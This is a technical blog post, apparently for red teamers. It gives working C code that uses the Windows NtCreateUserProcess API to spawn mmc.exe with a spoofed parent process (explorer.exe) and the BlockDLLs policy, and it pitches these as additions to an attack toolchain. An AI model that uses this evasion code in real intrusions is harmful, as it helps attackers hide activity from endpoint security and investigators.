PPID Spoofing & BlockDLLs with NtCreateUserProcess
This week, Capt. Meelo released a great blog post on how to call the NtCreateUserProcess API as a substitue for the typical Win32 CreateProcess API. This post will build upon Meelo’s, so I highly encourage you to read it first.
TL;DR, this code (not counting ntdll.h) is the bare minimum to spawn mmc.exe:
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
int main()
{
UNICODE_STRING NtImagePath;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\mmc.exe");
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE));
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
HANDLE hProcess, hThread = NULL;
NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);
RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);
}
If you’re going to use this technique as part of an attack toolchain, integrating PPID spoofing and/or BlockDLLs are potentially useful. This is something we’ve known how to do with the CreateProcess API for a long time, but there’s not much consumable information about how to do this with NtCreateUserProcess.
Before we continue, note that I made the following modifications to Meelo’s PoC:
- Reduced the default
PS_ATTRIBUTEarray size from 2 to 1 inntdll.h:1305.- Changed
AttributeList->TotalLengthfromsizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE)tosizeof(PS_ATTRIBUTE_LIST)inmain.cpp:19.
This just helps us keep track a little easier of how many process attributes we’re providing and the buffer size required to hold them. In this PoC, we only have 1 attribute: PS_ATTRIBUTE_IMAGE_NAME which points to the NtImagePath of the process we want to start. As such, the PS_ATTRIBUTE array size only needs to be 1; the call to RtlAllocateHeap only needs to allocate enough for 1 PS_ATTRIBUTE (sizeof(PS_ATTRIBUTE)); and therefore the AttributeList->TotalLength is simply sizeof(PS_ATTRIBUTE_LIST). In short, we shouldn’t need to take off the size of PS_ATTRIBUTE because our array size is larger than it needs to be.
Parent Process
To spawn a process as a child of another process, we use the PsAttributeParentProcess PS_ATTRIBUTE_NUM and provide the HANDLE to the parent. This could be done with NtOpenProcess.
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
CLIENT_ID cid = { (HANDLE)10104, NULL };
HANDLE hParent = NULL;
NtOpenProcess(&hParent, PROCESS_ALL_ACCESS, &oa, &cid);
Note: I’ve just hardcoded 10104, whch is the PID for explorer.exe.
Because we’re adding a new attribute, we need to bump the PS_ATTRIBUTE size back to up 2; and the call to RtlAllocateHeap now needs to allocate enough room for 2 PS_ATTRIBUTE’s, i.e: sizeof(PS_ATTRIBUTE)*2.
The attributes to add are simple:
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].ValuePtr = hParent;
Where PS_ATTRIBUTE_PARENT_PROCESS is already defined in ntdll.h.

BlockDLLs
To add a process mitigation policy, we need the PsAttributeMitigationOptions PS_ATTRIBUTE_NUM, however the macro defined in Meelo’s ntdll.h is:
#define PS_ATTRIBUTE_MITIGATION_OPTIONS \
PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE)
This produces a value of 0x60010, but @passthehashbrwn pointed out on Twitter that the value required to make BlockDLLs work is acually 0x20010. You can of course just hardcode this value, but I also found you can arrive there using:
#define PS_ATTRIBUTE_MITIGATION_OPTIONS_2 \
PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, FALSE)
As before, adding the attributes is simple:
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS_2;
AttributeList->Attributes[2].Size = sizeof(DWORD64);
AttributeList->Attributes[2].ValuePtr = &policy;

Final Code
#include <Windows.h>
#include "ntdll.h"
#pragma comment(lib, "ntdll")
int main()
{
// define strings
UNICODE_STRING NtImagePath, CurrentDirectory, CommandLine;
RtlInitUnicodeString(&NtImagePath, (PWSTR)L"\\??\\C:\\Windows\\System32\\mmc.exe");
RtlInitUnicodeString(&CurrentDirectory, (PWSTR)L"C:\\Windows\\System32");
RtlInitUnicodeString(&CommandLine, (PWSTR)L"\"C:\\Windows\\System32\\mmc.exe\"");
// user process parameters
PRTL_USER_PROCESS_PARAMETERS ProcessParameters = NULL;
RtlCreateProcessParametersEx(&ProcessParameters, &NtImagePath, NULL, &CurrentDirectory, &CommandLine, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROCESS_PARAMETERS_NORMALIZED);
// process create info
PS_CREATE_INFO CreateInfo = { 0 };
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
// initialise attribute list
PPS_ATTRIBUTE_LIST AttributeList = (PS_ATTRIBUTE_LIST*)RtlAllocateHeap(RtlProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PS_ATTRIBUTE)*3);
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
// set image name
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = NtImagePath.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)NtImagePath.Buffer;
// obtain handle to parent
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, 0, 0, 0, 0);
CLIENT_ID cid = { (HANDLE)10104, NULL };
HANDLE hParent = NULL;
NtOpenProcess(&hParent, PROCESS_ALL_ACCESS, &oa, &cid);
// add parent process attribute
AttributeList->Attributes[1].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
AttributeList->Attributes[1].Size = sizeof(HANDLE);
AttributeList->Attributes[1].ValuePtr = hParent;
// blockdlls policy
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// add process mitigation atribute
AttributeList->Attributes[2].Attribute = PS_ATTRIBUTE_MITIGATION_OPTIONS_2;
AttributeList->Attributes[2].Size = sizeof(DWORD64);
AttributeList->Attributes[2].ValuePtr = &policy;
// spawn process
HANDLE hProcess, hThread = NULL;
NtCreateUserProcess(&hProcess, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, ProcessParameters, &CreateInfo, AttributeList);
// close handle to parent
CloseHandle(hParent);
// free allocated memory
RtlFreeHeap(RtlProcessHeap(), 0, AttributeList);
RtlDestroyProcessParameters(ProcessParameters);
}
Conclusion
This post demonstrated how to spawn a process with PPID Spoofing and BlockDLLs using the NtCreateUserProcess API.
CreateProcessW is dead, long live NtCreateUserProcess.
Shout-out to @CaptMeelo and @passthehashbrwn.